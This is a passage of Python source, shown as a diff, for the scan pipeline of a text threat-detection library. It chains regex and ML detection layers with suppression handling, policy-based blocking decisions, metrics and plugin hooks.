apply_policy: Policy application use case (None = no policy enforcement)
|
|
236
|
+
telemetry_hook: Optional telemetry sender (legacy)
|
|
237
|
+
plugin_manager: Optional plugin manager for extensibility
|
|
238
|
+
suppression_manager: Optional suppression manager for false positives
|
|
239
|
+
enable_l2: Enable L2 analysis (default: True)
|
|
240
|
+
fail_fast_on_critical: Skip L2 if CRITICAL detected (optimization)
|
|
241
|
+
min_confidence_for_skip: Minimum L1 confidence to skip L2 on CRITICAL (default: 0.7)
|
|
242
|
+
enable_schema_validation: Enable runtime schema validation
|
|
243
|
+
schema_validation_mode: Validation mode (log_only, warn, enforce)
|
|
244
|
+
"""
|
|
245
|
+
self.pack_registry = pack_registry
|
|
246
|
+
self.rule_executor = rule_executor
|
|
247
|
+
self.l2_detector = l2_detector
|
|
248
|
+
self.scan_merger = scan_merger
|
|
249
|
+
self.apply_policy = apply_policy or ApplyPolicyUseCase() # Default policy
|
|
250
|
+
self.telemetry_hook = telemetry_hook
|
|
251
|
+
self.plugin_manager = plugin_manager # NEW: Plugin system integration
|
|
252
|
+
self.suppression_manager = suppression_manager # NEW: Suppression system
|
|
253
|
+
self.enable_l2 = enable_l2
|
|
254
|
+
self.fail_fast_on_critical = fail_fast_on_critical
|
|
255
|
+
self.min_confidence_for_skip = min_confidence_for_skip
|
|
256
|
+
self.enable_schema_validation = enable_schema_validation
|
|
257
|
+
self.schema_validation_mode = schema_validation_mode
|
|
258
|
+
|
|
259
|
+
# Initialize schema validator if needed
|
|
260
|
+
self._validator = None
|
|
261
|
+
if self.enable_schema_validation:
|
|
262
|
+
try:
|
|
263
|
+
from raxe.infrastructure.schemas.validator import get_validator
|
|
264
|
+
self._validator = get_validator()
|
|
265
|
+
logger.info(f"Schema validation enabled (mode={schema_validation_mode})")
|
|
266
|
+
except Exception as e:
|
|
267
|
+
logger.warning(f"Failed to initialize schema validator: {e}")
|
|
268
|
+
self._validator = None
|
|
269
|
+
|
|
270
|
+
# Performance tracking
|
|
271
|
+
self._scan_count = 0
|
|
272
|
+
self._total_duration_ms = 0.0
|
|
273
|
+
self._validation_errors = 0
|
|
274
|
+
|
|
275
|
+
def scan(
|
|
276
|
+
self,
|
|
277
|
+
text: str,
|
|
278
|
+
*,
|
|
279
|
+
customer_id: str | None = None,
|
|
280
|
+
context: dict[str, object] | None = None,
|
|
281
|
+
l1_enabled: bool = True,
|
|
282
|
+
l2_enabled: bool = True,
|
|
283
|
+
mode: str = "balanced",
|
|
284
|
+
confidence_threshold: float = 0.5,
|
|
285
|
+
explain: bool = False,
|
|
286
|
+
) -> ScanPipelineResult:
|
|
287
|
+
"""Execute complete scan pipeline with layer control.
|
|
288
|
+
|
|
289
|
+
Args:
|
|
290
|
+
text: Text to scan for threats
|
|
291
|
+
customer_id: Optional customer ID for policy lookup
|
|
292
|
+
context: Optional context metadata
|
|
293
|
+
l1_enabled: Run L1 (regex) detection (default: True)
|
|
294
|
+
l2_enabled: Run L2 (ML) detection (default: True)
|
|
295
|
+
mode: Performance mode - "fast", "balanced", or "thorough" (default: "balanced")
|
|
296
|
+
- fast: L1 only, skip expensive rules (<3ms target)
|
|
297
|
+
- balanced: L1 + L2 with default rules (<10ms target)
|
|
298
|
+
- thorough: All layers, all rules (<100ms acceptable)
|
|
299
|
+
confidence_threshold: Minimum confidence to report detections (default: 0.5)
|
|
300
|
+
explain: Include explanation in detections (default: False)
|
|
301
|
+
|
|
302
|
+
Returns:
|
|
303
|
+
ScanPipelineResult with complete analysis and policy decision
|
|
304
|
+
|
|
305
|
+
Raises:
|
|
306
|
+
ValueError: If text is empty or invalid or mode is invalid
|
|
307
|
+
"""
|
|
308
|
+
# Validate mode
|
|
309
|
+
if mode not in ("fast", "balanced", "thorough"):
|
|
310
|
+
error = ValueError(f"mode must be 'fast', 'balanced', or 'thorough', got '{mode}'")
|
|
311
|
+
self._track_scan_error(error, error_code="SCAN_002", is_recoverable=False)
|
|
312
|
+
raise error
|
|
313
|
+
if not text:
|
|
314
|
+
error = ValueError("Text cannot be empty")
|
|
315
|
+
self._track_scan_error(error, error_code="SCAN_003", is_recoverable=False)
|
|
316
|
+
raise error
|
|
317
|
+
|
|
318
|
+
# Apply mode-specific configurations
|
|
319
|
+
if mode == "fast":
|
|
320
|
+
# Fast mode: L1 only, no L2
|
|
321
|
+
l1_enabled = True
|
|
322
|
+
l2_enabled = False
|
|
323
|
+
elif mode == "balanced":
|
|
324
|
+
# Balanced mode: use provided settings or defaults
|
|
325
|
+
pass # Use l1_enabled and l2_enabled as provided
|
|
326
|
+
elif mode == "thorough":
|
|
327
|
+
# Thorough mode: all layers enabled
|
|
328
|
+
l1_enabled = True
|
|
329
|
+
l2_enabled = True
|
|
330
|
+
|
|
331
|
+
# Initialize telemetry orchestrator (lazy init, fires installation event if needed)
|
|
332
|
+
try:
|
|
333
|
+
orchestrator = get_orchestrator()
|
|
334
|
+
if orchestrator:
|
|
335
|
+
orchestrator.ensure_installation()
|
|
336
|
+
except Exception as e:
|
|
337
|
+
# Never let telemetry errors break scanning
|
|
338
|
+
logger.debug(f"Telemetry orchestrator init error (non-blocking): {e}")
|
|
339
|
+
orchestrator = None
|
|
340
|
+
|
|
341
|
+
start_time = time.perf_counter()
|
|
342
|
+
scan_timestamp = datetime.now(timezone.utc).isoformat()
|
|
343
|
+
|
|
344
|
+
# Record input length for metrics
|
|
345
|
+
input_length = len(text.encode('utf-8'))
|
|
346
|
+
|
|
347
|
+
# PLUGIN HOOK: on_scan_start (allow text transformation)
|
|
348
|
+
if self.plugin_manager:
|
|
349
|
+
try:
|
|
350
|
+
transformed_results = self.plugin_manager.execute_hook(
|
|
351
|
+
"on_scan_start", text, context
|
|
352
|
+
)
|
|
353
|
+
# Use first transformation if any plugins returned one
|
|
354
|
+
if transformed_results:
|
|
355
|
+
text = transformed_results[0]
|
|
356
|
+
logger.debug("Plugin transformed input text")
|
|
357
|
+
except Exception as e:
|
|
358
|
+
logger.error(f"Plugin on_scan_start hook failed: {e}")
|
|
359
|
+
|
|
360
|
+
# 1. Load rules from pack registry
|
|
361
|
+
rules = self.pack_registry.get_all_rules()
|
|
362
|
+
|
|
363
|
+
# 2. Execute L1 rule-based detection (if enabled)
|
|
364
|
+
# NOTE: L1 and L2 are NOT run in parallel because:
|
|
365
|
+
# - L1 is very fast (~1ms) while L2 dominates (~110ms)
|
|
366
|
+
# - Thread pool overhead (~0.5ms) cancels out parallelism benefit
|
|
367
|
+
# - Sequential execution is simpler and easier to debug
|
|
368
|
+
# - If L1 becomes slower in future, reconsider parallelization
|
|
369
|
+
l1_duration_ms = 0.0
|
|
370
|
+
if l1_enabled:
|
|
371
|
+
l1_start = time.perf_counter()
|
|
372
|
+
if METRICS_AVAILABLE and collector:
|
|
373
|
+
with collector.measure_scan("regex"):
|
|
374
|
+
l1_result = self.rule_executor.execute_rules(text, rules)
|
|
375
|
+
else:
|
|
376
|
+
l1_result = self.rule_executor.execute_rules(text, rules)
|
|
377
|
+
l1_duration_ms = (time.perf_counter() - l1_start) * 1000
|
|
378
|
+
else:
|
|
379
|
+
# L1 disabled - create empty result
|
|
380
|
+
from raxe.domain.engine.executor import ScanResult
|
|
381
|
+
l1_result = ScanResult(
|
|
382
|
+
detections=[],
|
|
383
|
+
scanned_at=scan_timestamp,
|
|
384
|
+
text_length=len(text),
|
|
385
|
+
rules_checked=0,
|
|
386
|
+
scan_duration_ms=0.0,
|
|
387
|
+
)
|
|
388
|
+
|
|
389
|
+
# PLUGIN HOOK: run detector plugins (merge with L1)
|
|
390
|
+
plugin_detection_count = 0
|
|
391
|
+
if self.plugin_manager:
|
|
392
|
+
try:
|
|
393
|
+
plugin_detections = self.plugin_manager.run_detectors(text, context)
|
|
394
|
+
if plugin_detections:
|
|
395
|
+
# Merge plugin detections into L1 result
|
|
396
|
+
from raxe.domain.engine.executor import ScanResult
|
|
397
|
+
l1_result = ScanResult(
|
|
398
|
+
detections=l1_result.detections + plugin_detections,
|
|
399
|
+
has_detections=l1_result.has_detections or len(plugin_detections) > 0,
|
|
400
|
+
highest_severity=l1_result.highest_severity, # Will be recalculated
|
|
401
|
+
total_rules_checked=l1_result.total_rules_checked + len(plugin_detections),
|
|
402
|
+
execution_time_ms=l1_result.execution_time_ms,
|
|
403
|
+
)
|
|
404
|
+
plugin_detection_count = len(plugin_detections)
|
|
405
|
+
logger.debug(f"Plugins detected {plugin_detection_count} additional threats")
|
|
406
|
+
except Exception as e:
|
|
407
|
+
logger.error(f"Plugin detectors failed: {e}")
|
|
408
|
+
|
|
409
|
+
# 3. Execute L2 analysis (with optimizations and layer control)
|
|
410
|
+
l2_result = None
|
|
411
|
+
l2_duration_ms = 0.0
|
|
412
|
+
if l2_enabled and self.enable_l2:
|
|
413
|
+
# Optimization: skip L2 if CRITICAL already detected with high confidence
|
|
414
|
+
should_skip_l2 = False
|
|
415
|
+
if self.fail_fast_on_critical and l1_result.highest_severity:
|
|
416
|
+
from raxe.domain.rules.models import Severity
|
|
417
|
+
if l1_result.highest_severity == Severity.CRITICAL:
|
|
418
|
+
# Check confidence of CRITICAL detections
|
|
419
|
+
max_confidence = max(
|
|
420
|
+
(d.confidence for d in l1_result.detections
|
|
421
|
+
if d.severity == Severity.CRITICAL),
|
|
422
|
+
default=0.0
|
|
423
|
+
)
|
|
424
|
+
|
|
425
|
+
if max_confidence >= self.min_confidence_for_skip:
|
|
426
|
+
# High confidence CRITICAL - skip L2 for performance
|
|
427
|
+
should_skip_l2 = True
|
|
428
|
+
logger.info(
|
|
429
|
+
"l2_scan_skipped",
|
|
430
|
+
reason="critical_l1_detection_high_confidence",
|
|
431
|
+
l1_severity="CRITICAL",
|
|
432
|
+
l1_max_confidence=max_confidence,
|
|
433
|
+
skip_threshold=self.min_confidence_for_skip,
|
|
434
|
+
text_hash=self._hash_text(text),
|
|
435
|
+
)
|
|
436
|
+
else:
|
|
437
|
+
# Low confidence CRITICAL - run L2 for validation
|
|
438
|
+
logger.debug(
|
|
439
|
+
f"Running L2 despite CRITICAL: low confidence {max_confidence:.2%} "
|
|
440
|
+
f"(threshold: {self.min_confidence_for_skip:.2%})"
|
|
441
|
+
)
|
|
442
|
+
|
|
443
|
+
if not should_skip_l2:
|
|
444
|
+
l2_start = time.perf_counter()
|
|
445
|
+
if METRICS_AVAILABLE and collector:
|
|
446
|
+
with collector.measure_scan("ml"):
|
|
447
|
+
l2_result = self.l2_detector.analyze(text, l1_result, context)
|
|
448
|
+
else:
|
|
449
|
+
l2_result = self.l2_detector.analyze(text, l1_result, context)
|
|
450
|
+
l2_duration_ms = (time.perf_counter() - l2_start) * 1000
|
|
451
|
+
|
|
452
|
+
# Log L2 inference results
|
|
453
|
+
if l2_result and l2_result.has_predictions:
|
|
454
|
+
# Log each L2 prediction with full context (including new bundle schema fields)
|
|
455
|
+
for prediction in l2_result.predictions:
|
|
456
|
+
# Extract bundle schema fields if available
|
|
457
|
+
log_data = {
|
|
458
|
+
"threat_type": prediction.threat_type.value,
|
|
459
|
+
"confidence": prediction.confidence,
|
|
460
|
+
"explanation": prediction.explanation or "No explanation provided",
|
|
461
|
+
"features_used": prediction.features_used or [],
|
|
462
|
+
"text_hash": self._hash_text(text),
|
|
463
|
+
"processing_time_ms": l2_result.processing_time_ms,
|
|
464
|
+
"model_version": l2_result.model_version,
|
|
465
|
+
}
|
|
466
|
+
|
|
467
|
+
# Add new bundle schema fields (is_attack, family, sub_family, etc.)
|
|
468
|
+
if "is_attack" in prediction.metadata:
|
|
469
|
+
log_data["is_attack"] = prediction.metadata["is_attack"]
|
|
470
|
+
if "family" in prediction.metadata:
|
|
471
|
+
log_data["family"] = prediction.metadata["family"]
|
|
472
|
+
if "sub_family" in prediction.metadata:
|
|
473
|
+
log_data["sub_family"] = prediction.metadata["sub_family"]
|
|
474
|
+
if "scores" in prediction.metadata:
|
|
475
|
+
log_data["scores"] = prediction.metadata["scores"]
|
|
476
|
+
if "why_it_hit" in prediction.metadata:
|
|
477
|
+
log_data["why_it_hit"] = prediction.metadata["why_it_hit"]
|
|
478
|
+
if "recommended_action" in prediction.metadata:
|
|
479
|
+
log_data["recommended_action"] = prediction.metadata["recommended_action"]
|
|
480
|
+
if "trigger_matches" in prediction.metadata:
|
|
481
|
+
log_data["trigger_matches"] = prediction.metadata["trigger_matches"]
|
|
482
|
+
if "uncertain" in prediction.metadata:
|
|
483
|
+
log_data["uncertain"] = prediction.metadata["uncertain"]
|
|
484
|
+
|
|
485
|
+
# Log with all available data
|
|
486
|
+
logger.info("l2_threat_detected", **log_data)
|
|
487
|
+
elif l2_result:
|
|
488
|
+
# Log clean L2 scan
|
|
489
|
+
logger.debug(
|
|
490
|
+
"l2_scan_clean",
|
|
491
|
+
processing_time_ms=l2_result.processing_time_ms,
|
|
492
|
+
model_version=l2_result.model_version,
|
|
493
|
+
confidence=l2_result.confidence,
|
|
494
|
+
text_hash=self._hash_text(text),
|
|
495
|
+
)
|
|
496
|
+
|
|
497
|
+
# 4. Apply confidence threshold filtering
|
|
498
|
+
if confidence_threshold > 0:
|
|
499
|
+
filtered_detections = [
|
|
500
|
+
d for d in l1_result.detections
|
|
501
|
+
if d.confidence >= confidence_threshold
|
|
502
|
+
]
|
|
503
|
+
from raxe.domain.engine.executor import ScanResult
|
|
504
|
+
l1_result = ScanResult(
|
|
505
|
+
detections=filtered_detections,
|
|
506
|
+
scanned_at=l1_result.scanned_at,
|
|
507
|
+
text_length=l1_result.text_length,
|
|
508
|
+
rules_checked=l1_result.rules_checked,
|
|
509
|
+
scan_duration_ms=l1_result.scan_duration_ms,
|
|
510
|
+
)
|
|
511
|
+
|
|
512
|
+
# 4.5. Apply suppressions (Filter, flag, or log detections based on action)
|
|
513
|
+
suppressed_count = 0
|
|
514
|
+
flagged_count = 0
|
|
515
|
+
logged_count = 0
|
|
516
|
+
if self.suppression_manager:
|
|
517
|
+
from raxe.domain.suppression import SuppressionAction
|
|
518
|
+
|
|
519
|
+
processed_detections = []
|
|
520
|
+
for detection in l1_result.detections:
|
|
521
|
+
check_result = self.suppression_manager.check_suppression(detection.rule_id)
|
|
522
|
+
|
|
523
|
+
if check_result.is_suppressed:
|
|
524
|
+
if check_result.action == SuppressionAction.SUPPRESS:
|
|
525
|
+
# Fully suppress - remove from results
|
|
526
|
+
suppressed_count += 1
|
|
527
|
+
logger.debug(f"Suppressed {detection.rule_id}: {check_result.reason}")
|
|
528
|
+
elif check_result.action == SuppressionAction.FLAG:
|
|
529
|
+
# Flag for review - keep in results but mark as flagged
|
|
530
|
+
flagged_count += 1
|
|
531
|
+
logger.debug(f"Flagged {detection.rule_id}: {check_result.reason}")
|
|
532
|
+
# Use Detection.with_flag() to create flagged copy
|
|
533
|
+
flagged_detection = detection.with_flag(check_result.reason)
|
|
534
|
+
processed_detections.append(flagged_detection)
|
|
535
|
+
elif check_result.action == SuppressionAction.LOG:
|
|
536
|
+
# Log only - keep in results (for metrics/logging)
|
|
537
|
+
logged_count += 1
|
|
538
|
+
logger.debug(f"Logged {detection.rule_id}: {check_result.reason}")
|
|
539
|
+
processed_detections.append(detection)
|
|
540
|
+
|
|
541
|
+
# Log suppression application to audit log
|
|
542
|
+
self.suppression_manager.log_suppression_applied(
|
|
543
|
+
rule_id=detection.rule_id,
|
|
544
|
+
reason=check_result.reason,
|
|
545
|
+
action=check_result.action,
|
|
546
|
+
)
|
|
547
|
+
else:
|
|
548
|
+
processed_detections.append(detection)
|
|
549
|
+
|
|
550
|
+
# Update l1_result with processed detections
|
|
551
|
+
from raxe.domain.engine.executor import ScanResult
|
|
552
|
+
l1_result = ScanResult(
|
|
553
|
+
detections=processed_detections,
|
|
554
|
+
scanned_at=l1_result.scanned_at,
|
|
555
|
+
text_length=l1_result.text_length,
|
|
556
|
+
rules_checked=l1_result.rules_checked,
|
|
557
|
+
scan_duration_ms=l1_result.scan_duration_ms,
|
|
558
|
+
)
|
|
559
|
+
|
|
560
|
+
# 5. Merge L1+L2 results
|
|
561
|
+
metadata: dict[str, object] = {
|
|
562
|
+
"customer_id": customer_id,
|
|
563
|
+
"scan_timestamp": scan_timestamp,
|
|
564
|
+
"rules_loaded": len(rules),
|
|
565
|
+
"l2_skipped": self.enable_l2 and l2_result is None,
|
|
566
|
+
"l1_duration_ms": l1_duration_ms,
|
|
567
|
+
"l2_duration_ms": l2_duration_ms,
|
|
568
|
+
"input_length": input_length,
|
|
569
|
+
"mode": mode,
|
|
570
|
+
"l1_enabled": l1_enabled,
|
|
571
|
+
"l2_enabled": l2_enabled,
|
|
572
|
+
"confidence_threshold": confidence_threshold,
|
|
573
|
+
"explain": explain,
|
|
574
|
+
"suppressed_count": suppressed_count, # Track fully suppressed
|
|
575
|
+
"flagged_count": flagged_count, # Track flagged for review
|
|
576
|
+
"logged_count": logged_count, # Track logged for metrics
|
|
577
|
+
}
|
|
578
|
+
if context:
|
|
579
|
+
metadata["context"] = context
|
|
580
|
+
|
|
581
|
+
combined_result = self.scan_merger.merge(
|
|
582
|
+
l1_result=l1_result,
|
|
583
|
+
l2_result=l2_result,
|
|
584
|
+
metadata=metadata,
|
|
585
|
+
)
|
|
586
|
+
|
|
587
|
+
# 6. Evaluate policy to determine action
|
|
588
|
+
# CRITICAL: Policy must consider BOTH L1 and L2 detections
|
|
589
|
+
# We evaluate using the combined result to include L2 predictions
|
|
590
|
+
policy_decision, should_block = self._evaluate_policy(
|
|
591
|
+
l1_result=l1_result,
|
|
592
|
+
l2_result=l2_result,
|
|
593
|
+
combined_severity=combined_result.combined_severity
|
|
594
|
+
)
|
|
595
|
+
|
|
596
|
+
# 7. Calculate text hash (privacy-preserving)
|
|
597
|
+
text_hash = self._hash_text(text)
|
|
598
|
+
|
|
599
|
+
# Calculate total duration
|
|
600
|
+
duration_ms = (time.perf_counter() - start_time) * 1000
|
|
601
|
+
|
|
602
|
+
# Calculate layer statistics
|
|
603
|
+
breakdown = combined_result.layer_breakdown()
|
|
604
|
+
l1_count = breakdown.get("L1", 0)
|
|
605
|
+
l2_count = breakdown.get("L2", 0)
|
|
606
|
+
plugin_count = breakdown.get("PLUGIN", 0)
|
|
607
|
+
|
|
608
|
+
# Create final result with layer attribution
|
|
609
|
+
result = ScanPipelineResult(
|
|
610
|
+
scan_result=combined_result,
|
|
611
|
+
policy_decision=policy_decision,
|
|
612
|
+
should_block=should_block,
|
|
613
|
+
duration_ms=duration_ms,
|
|
614
|
+
text_hash=text_hash,
|
|
615
|
+
metadata=metadata,
|
|
616
|
+
l1_detections=l1_count,
|
|
617
|
+
l2_detections=l2_count,
|
|
618
|
+
plugin_detections=plugin_count,
|
|
619
|
+
l1_duration_ms=l1_duration_ms,
|
|
620
|
+
l2_duration_ms=l2_duration_ms,
|
|
621
|
+
)
|
|
622
|
+
|
|
623
|
+
# Record Prometheus metrics
|
|
624
|
+
if METRICS_AVAILABLE and collector:
|
|
625
|
+
try:
|
|
626
|
+
# Record scan metrics
|
|
627
|
+
severity = result.severity or "none"
|
|
628
|
+
collector.record_scan_simple(
|
|
629
|
+
severity=severity,
|
|
630
|
+
blocked=result.should_block,
|
|
631
|
+
detection_count=result.total_detections,
|
|
632
|
+
input_length=input_length,
|
|
633
|
+
)
|
|
634
|
+
|
|
635
|
+
# Record individual detections
|
|
636
|
+
for detection in l1_result.detections:
|
|
637
|
+
if METRICS_AVAILABLE:
|
|
638
|
+
from raxe.monitoring.metrics import detections_total, rule_matches
|
|
639
|
+
detections_total.labels(
|
|
640
|
+
rule_id=detection.rule_id,
|
|
641
|
+
severity=detection.severity.value,
|
|
642
|
+
category=getattr(detection, "category", "unknown"),
|
|
643
|
+
).inc()
|
|
644
|
+
rule_matches.labels(
|
|
645
|
+
rule_id=detection.rule_id,
|
|
646
|
+
severity=detection.severity.value,
|
|
647
|
+
).inc()
|
|
648
|
+
except Exception as e:
|
|
649
|
+
# Never fail scan due to metrics errors
|
|
650
|
+
logger.debug(f"Metrics recording error (non-blocking): {e}")
|
|
651
|
+
|
|
652
|
+
# 7. Record telemetry (privacy-preserving) - legacy hook only
|
|
653
|
+
# NOTE: Primary telemetry is handled by SDK client via TelemetryOrchestrator
|
|
654
|
+
if self.telemetry_hook:
|
|
655
|
+
self._send_telemetry(result, customer_id)
|
|
656
|
+
|
|
657
|
+
# NOTE: Scan telemetry tracking moved to SDK client (sdk/client.py:_track_scan)
|
|
658
|
+
# to avoid duplicate tracking. The SDK is the canonical location for telemetry
|
|
659
|
+
# because it:
|
|
660
|
+
# 1. Generates event_id for portal-CLI correlation
|
|
661
|
+
# 2. Is the "outer layer" with full context
|
|
662
|
+
# 3. Can be called by multiple entry points (CLI, SDK, wrappers)
|
|
663
|
+
#
|
|
664
|
+
# The orchestrator initialization above (lines 335-343) is kept for:
|
|
665
|
+
# - ensure_installation() on first scan
|
|
666
|
+
# - Error tracking via _track_scan_error()
|
|
667
|
+
|
|
668
|
+
# PLUGIN HOOK: on_scan_complete
|
|
669
|
+
if self.plugin_manager:
|
|
670
|
+
try:
|
|
671
|
+
self.plugin_manager.execute_hook("on_scan_complete", result)
|
|
672
|
+
except Exception as e:
|
|
673
|
+
logger.error(f"Plugin on_scan_complete hook failed: {e}")
|
|
674
|
+
|
|
675
|
+
# PLUGIN HOOK: on_threat_detected (if threats found)
|
|
676
|
+
if self.plugin_manager and result.has_threats:
|
|
677
|
+
try:
|
|
678
|
+
self.plugin_manager.execute_hook("on_threat_detected", result)
|
|
679
|
+
except Exception as e:
|
|
680
|
+
logger.error(f"Plugin on_threat_detected hook failed: {e}")
|
|
681
|
+
|
|
682
|
+
# PLUGIN HOOK: run action plugins
|
|
683
|
+
if self.plugin_manager:
|
|
684
|
+
try:
|
|
685
|
+
self.plugin_manager.run_actions(result)
|
|
686
|
+
except Exception as e:
|
|
687
|
+
logger.error(f"Plugin actions failed: {e}")
|
|
688
|
+
|
|
689
|
+
# Track performance
|
|
690
|
+
self._scan_count += 1
|
|
691
|
+
self._total_duration_ms += duration_ms
|
|
692
|
+
|
|
693
|
+
return result
|
|
694
|
+
|
|
695
|
+
def scan_batch(
|
|
696
|
+
self,
|
|
697
|
+
texts: list[str],
|
|
698
|
+
*,
|
|
699
|
+
customer_id: str | None = None,
|
|
700
|
+
context: dict[str, object] | None = None,
|
|
701
|
+
) -> list[ScanPipelineResult]:
|
|
702
|
+
"""Scan multiple texts.
|
|
703
|
+
|
|
704
|
+
Args:
|
|
705
|
+
texts: List of texts to scan
|
|
706
|
+
customer_id: Optional customer ID
|
|
707
|
+
context: Optional context metadata
|
|
708
|
+
|
|
709
|
+
Returns:
|
|
710
|
+
List of scan results (one per text)
|
|
711
|
+
"""
|
|
712
|
+
results = []
|
|
713
|
+
for text in texts:
|
|
714
|
+
result = self.scan(
|
|
715
|
+
text,
|
|
716
|
+
customer_id=customer_id,
|
|
717
|
+
context=context,
|
|
718
|
+
)
|
|
719
|
+
results.append(result)
|
|
720
|
+
return results
|
|
721
|
+
|
|
722
|
+
def _evaluate_policy(
|
|
723
|
+
self,
|
|
724
|
+
l1_result: object,
|
|
725
|
+
l2_result: L2Result | None,
|
|
726
|
+
combined_severity: object | None,
|
|
727
|
+
) -> tuple[BlockAction, bool]:
|
|
728
|
+
"""Evaluate policy using ApplyPolicyUseCase for both L1 and L2 detections.
|
|
729
|
+
|
|
730
|
+
Applies advanced policies to all detections:
|
|
731
|
+
1. L1 detections (real rules with versioned IDs)
|
|
732
|
+
2. L2 predictions (mapped to virtual rules)
|
|
733
|
+
|
|
734
|
+
Args:
|
|
735
|
+
l1_result: L1 scan result with rule detections
|
|
736
|
+
l2_result: L2 scan result with ML predictions (optional)
|
|
737
|
+
combined_severity: Maximum severity across L1 and L2
|
|
738
|
+
|
|
739
|
+
Returns:
|
|
740
|
+
Tuple of (policy_decision, should_block)
|
|
741
|
+
"""
|
|
742
|
+
from raxe.application.apply_policy import PolicySource
|
|
743
|
+
from raxe.domain.policies.models import PolicyAction as PA
|
|
744
|
+
|
|
745
|
+
# Collect all detections (L1 + mapped L2)
|
|
746
|
+
all_detections = []
|
|
747
|
+
|
|
748
|
+
# Add L1 detections
|
|
749
|
+
if l1_result.has_detections:
|
|
750
|
+
all_detections.extend(l1_result.detections)
|
|
751
|
+
|
|
752
|
+
# Map L2 predictions to virtual detections
|
|
753
|
+
if l2_result and l2_result.has_predictions:
|
|
754
|
+
l2_detections = self._map_l2_to_virtual_rules(l2_result)
|
|
755
|
+
all_detections.extend(l2_detections)
|
|
756
|
+
|
|
757
|
+
# If no detections, return ALLOW (passive monitoring)
|
|
758
|
+
if not all_detections:
|
|
759
|
+
return BlockAction.ALLOW, False
|
|
760
|
+
|
|
761
|
+
# Apply policies to all detections
|
|
762
|
+
policy_decisions = {}
|
|
763
|
+
for detection in all_detections:
|
|
764
|
+
decision = self.apply_policy.apply_to_detection(
|
|
765
|
+
detection,
|
|
766
|
+
policy_source=PolicySource.LOCAL_FILE,
|
|
767
|
+
)
|
|
768
|
+
policy_decisions[detection.versioned_rule_id] = decision
|
|
769
|
+
|
|
770
|
+
# Determine highest action across all decisions
|
|
771
|
+
highest_action = PA.ALLOW
|
|
772
|
+
for decision in policy_decisions.values():
|
|
773
|
+
if decision.action == PA.BLOCK:
|
|
774
|
+
highest_action = PA.BLOCK
|
|
775
|
+
break # BLOCK is highest priority
|
|
776
|
+
elif decision.action == PA.FLAG and highest_action != PA.BLOCK:
|
|
777
|
+
highest_action = PA.FLAG
|
|
778
|
+
elif decision.action == PA.LOG and highest_action == PA.ALLOW:
|
|
779
|
+
highest_action = PA.LOG
|
|
780
|
+
|
|
781
|
+
# Map PolicyAction to BlockAction for backward compatibility
|
|
782
|
+
if highest_action == PA.BLOCK:
|
|
783
|
+
policy_decision = BlockAction.BLOCK
|
|
784
|
+
should_block = True
|
|
785
|
+
elif highest_action == PA.FLAG:
|
|
786
|
+
policy_decision = BlockAction.WARN
|
|
787
|
+
should_block = False
|
|
788
|
+
elif highest_action == PA.LOG:
|
|
789
|
+
policy_decision = BlockAction.WARN
|
|
790
|
+
should_block = False
|
|
791
|
+
else: # ALLOW
|
|
792
|
+
policy_decision = BlockAction.ALLOW
|
|
793
|
+
should_block = False
|
|
794
|
+
|
|
795
|
+
return policy_decision, should_block
|
|
796
|
+
|
|
797
|
+
def _map_l2_to_virtual_rules(self, l2_result: L2Result) -> list:
|
|
798
|
+
"""Map L2 ML predictions to virtual rule detections.
|
|
799
|
+
|
|
800
|
+
Creates Detection objects for L2 predictions with virtual rule IDs
|
|
801
|
+
like "l2-jailbreak" or "l2-prompt-injection".
|
|
802
|
+
|
|
803
|
+
Args:
|
|
804
|
+
l2_result: L2 scan result with ML predictions
|
|
805
|
+
|
|
806
|
+
Returns:
|
|
807
|
+
List of Detection objects representing L2 predictions
|
|
808
|
+
"""
|
|
809
|
+
from datetime import datetime, timezone
|
|
810
|
+
from raxe.domain.engine.executor import Detection
|
|
811
|
+
from raxe.domain.engine.matcher import Match
|
|
812
|
+
|
|
813
|
+
detections = []
|
|
814
|
+
|
|
815
|
+
for prediction in l2_result.predictions:
|
|
816
|
+
# Create virtual rule ID based on threat type
|
|
817
|
+
rule_id = f"l2-{prediction.threat_type.value.lower().replace('_', '-')}"
|
|
818
|
+
|
|
819
|
+
# Map L2 confidence to severity
|
|
820
|
+
severity = self._map_l2_severity(prediction.confidence)
|
|
821
|
+
|
|
822
|
+
# Create a single Match object for L2 detection (no actual pattern match)
|
|
823
|
+
match = Match(
|
|
824
|
+
pattern_index=0,
|
|
825
|
+
start=0,
|
|
826
|
+
end=0,
|
|
827
|
+
matched_text="[L2 ML Detection]", # Privacy: don't expose actual text
|
|
828
|
+
groups=(),
|
|
829
|
+
context_before="",
|
|
830
|
+
context_after="",
|
|
831
|
+
)
|
|
832
|
+
|
|
833
|
+
# Create virtual detection
|
|
834
|
+
detection = Detection(
|
|
835
|
+
rule_id=rule_id,
|
|
836
|
+
rule_version="0.0.1",
|
|
837
|
+
severity=severity,
|
|
838
|
+
confidence=prediction.confidence,
|
|
839
|
+
matches=[match],
|
|
840
|
+
detected_at=datetime.now(timezone.utc).isoformat(),
|
|
841
|
+
detection_layer="L2",
|
|
842
|
+
category=prediction.threat_type.value,
|
|
843
|
+
message=f"L2 ML detection: {prediction.threat_type.value}",
|
|
844
|
+
explanation=prediction.explanation if prediction.explanation else f"ML model detected {prediction.threat_type.value}",
|
|
845
|
+
)
|
|
846
|
+
detections.append(detection)
|
|
847
|
+
|
|
848
|
+
return detections
|
|
849
|
+
|
|
850
|
+
def _map_l2_severity(self, confidence: float) -> object:
|
|
851
|
+
"""Map L2 confidence score to severity level.
|
|
852
|
+
|
|
853
|
+
Uses conservative thresholds - L2 must be confident to trigger high severity.
|
|
854
|
+
|
|
855
|
+
Args:
|
|
856
|
+
confidence: L2 confidence score (0.0 to 1.0)
|
|
857
|
+
|
|
858
|
+
Returns:
|
|
859
|
+
Severity level
|
|
860
|
+
"""
|
|
861
|
+
from raxe.domain.rules.models import Severity
|
|
862
|
+
|
|
863
|
+
if confidence >= 0.95:
|
|
864
|
+
return Severity.CRITICAL
|
|
865
|
+
elif confidence >= 0.85:
|
|
866
|
+
return Severity.HIGH
|
|
867
|
+
elif confidence >= 0.70:
|
|
868
|
+
return Severity.MEDIUM
|
|
869
|
+
elif confidence >= 0.50:
|
|
870
|
+
return Severity.LOW
|
|
871
|
+
else:
|
|
872
|
+
return Severity.INFO
|
|
873
|
+
|
|
874
|
+
def _hash_text(self, text: str) -> str:
|
|
875
|
+
"""Create privacy-preserving hash of text.
|
|
876
|
+
|
|
877
|
+
Uses SHA256 to create non-reversible hash.
|
|
878
|
+
This allows telemetry without exposing PII.
|
|
879
|
+
|
|
880
|
+
Args:
|
|
881
|
+
text: Text to hash
